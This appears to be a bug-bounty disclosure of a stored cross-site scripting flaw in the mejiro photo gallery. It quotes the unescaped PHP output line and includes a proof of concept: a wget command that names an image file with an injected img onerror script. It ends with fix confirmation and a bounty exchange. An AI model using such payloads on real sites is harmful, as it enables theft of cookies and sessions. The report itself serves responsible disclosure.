Cross-site Scripting (XSS) - Stored in dmpop/mejiro

Valid

Reported on

Sep 14th 2021


Description

Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script.

https://github.com/dmpop/mejiro/ is vulnerable to XSS as shown below:

Proof of Concept

Variable: $file_path['filename']
Snippet:

echo '<li><a href="index.php?all=1&photo=' . $file . '&d=' . $sub_photo_dir . '"><img src="' . $tim . '" alt="' . $file_path['filename'] . '" title="' . $file_path['filename'] . '"></a></li>';

Payload: In a terminal upload an image to mejiro photos directory, replace the mejiro location path accordingly:

cd  /var/www/html/mejiro-main/photos 
wget https://upload.wikimedia.org/wikipedia/en/4/48/Blank.JPG -O 'poc"><img src=x onerror="alert(`XSS`)".jpg'

In a browser visit mejiro http://localhost/mejiro-main/ and observe XSS.

Impact

Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

We have contacted a member of the dmpop/mejiro team and are waiting to hear back 20 days ago
Dmitri Popov validated this vulnerability 16 days ago
hitisec has been awarded the disclosure bounty
The fix bounty is now up for grabs
Dmitri Popov confirmed that a fix has been merged on 23429b 16 days ago
Dmitri Popov has been awarded the fix bounty
index.php#L223 has been validated
index.php#L230 has been validated
hitisec
16 days ago

Researcher


Hi @admin , why bounty is $0 , i saw $25 before disclosing this issue. Regards

Jamie Slome
14 days ago

Admin


@hitisec - it is up to the maintainer to decide what the bounty reward is now. We provide a minimum of $0 up to the bounty you see when you are disclosing. The maintainer can select anything in this range.

Let me know if you have any more questions.

hitisec
10 days ago

Researcher


I see, thanks for your response